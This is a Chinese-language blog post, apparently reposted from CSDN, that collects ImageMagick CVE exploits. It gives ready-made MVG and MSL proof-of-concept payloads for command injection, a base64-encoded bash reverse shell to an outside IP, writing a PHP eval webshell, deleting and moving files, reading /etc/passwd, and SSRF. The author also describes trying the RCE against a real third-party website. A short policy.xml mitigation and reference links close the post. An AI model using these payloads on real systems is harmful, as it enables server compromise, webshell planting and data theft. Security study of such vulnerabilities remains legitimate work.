ImageMagick漏洞汇总

ImageMagick

一款使用量很广的图片处理程序,许多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等功能

本文就简单的做个汇总,细节就概述了

CVE-2016-3714— RCE

ImageMagick流行的原因之一,就是它功能强大,可以处理很多情况,而有一个功能delegate,作用是调用外部的lib来处理文件。调用外部lib就是执行system命令,从而产生命令执行漏洞

/etc/ImageMagick/delegates.xml
<delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/>
&quot; 是 " 的html实体编码 

解析https图片的时候,使用了curl命令将其下载,%o是curl输出的文件名,%M是远程的URL路径

command中 %M 直接拼接。漏洞产生,传入系统的system函数,payload只需使用反引号或闭合双引号,执行任意命令。

构造.mvg格式的图片,不用改后缀,ImageMagick会根据其内容识别为mvg图片,图片内容(POC)如下

无回显 可利用dnslog查看
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/1.jpg"|whoami")'
pop graphic-context

反弹shell
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/1.jpg"|echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvODg4OCAwPiYx== | base64 -d| bash ")'
pop graphic-context

写shell
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|echo \'<?php eval($_POST[\'ant\']);?>\' > shell.php")'
pop graphic-context

影响版本:6.9.3-9

找了开心网测试了下,只能回显几个命令,感觉修了,贫穷限制了我的反弹~,有待测试

 

CVE-2016-3715-任意文件删除

利用ImageMagick支持的伪协议ephemeral,处理特制图像时没有正确防防护,可以进行敏感操作,从而达到任意文件删除

使用以下内容创建文件 test.mvg, 图片超过0,0,0,0  使用该伪协议删除指定文件。 

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/home/user/document.txt'
popgraphic-context

CVE-2016-3716-任意文件移动漏洞

利用ImageMagick支持的伪协议msl,msl协议运行指定的xml文件 (后缀可改,符合xml格式即可)

上传move.png  图片超过0,0,0,0  使用伪协议msl执行xml文件 ,

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/home/test.txt'
popgraphic-context

/home/a.jpg 移动为 /var/www/shell.php 实现写shell

test.txt

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/home/a.jpg" /># File to be copied
<write filename="/var/www/shell.php" /># Destination location
</image>

 

CVE-2016-3717-本地文件读取漏洞

利用ImageMagick支持的伪协议label, 会生成一个 指定文本内容截图 的新图像(本地木有复现,是否是随机图像名呢,待测)

test.jpg

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context

CVE-2016-3718-SSRF

mvg格式中可以包含url,无回显的SSRF

push graphic-context
viewbox 0 0 640 480
fill 'url(http://malicious_website.com/)'
pop graphic-context

修复,配置/etc/ImageMagick/policy.xml,过滤,现在更新就行

<policymap>
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="TEXT" />
  <policy domain="coder" rights="none" pattern="SHOW" />
  <policy domain="coder" rights="none" pattern="WIN" />
  <policy domain="coder" rights="none" pattern="PLT" />
</policymap>

CVE-2017-15277-内存泄露

影响范围:ImageMagick 7.0.6–1和Graphicsmagick 1.3.26

https://www.freebuf.com/vuls/189776.html

CVE-2017–8291-GhostScript Type Confusion RCE

不是ImageMagick漏洞,但ImageMagick受到影响

ImageMagick使用GhostScript来处理PostScript的某些类型的图像

https://paper.seebug.org/310/

http://blog.neargle.com/2017/09/28/Exploiting-Python-PIL-Module-Command-Execution-Vulnerability/

https://hackerone.com/reports/302885

CVE-2018-16509-内存泄漏

Google Project Zero对该漏洞的分析:https://bugs.chromium.org/p/project-zero/issues/detail?id=1640

漏洞细节:https://medium.com/@NumbShiva/imagemagic-rce-f364a9f50a14

ExploitDB:https://www.exploit-db.com/exploits/45369/

发布了67 篇原创文章 · 获赞 50 · 访问量 6万+

猜你喜欢

转载自blog.csdn.net/Auuuuuuuu/article/details/89046184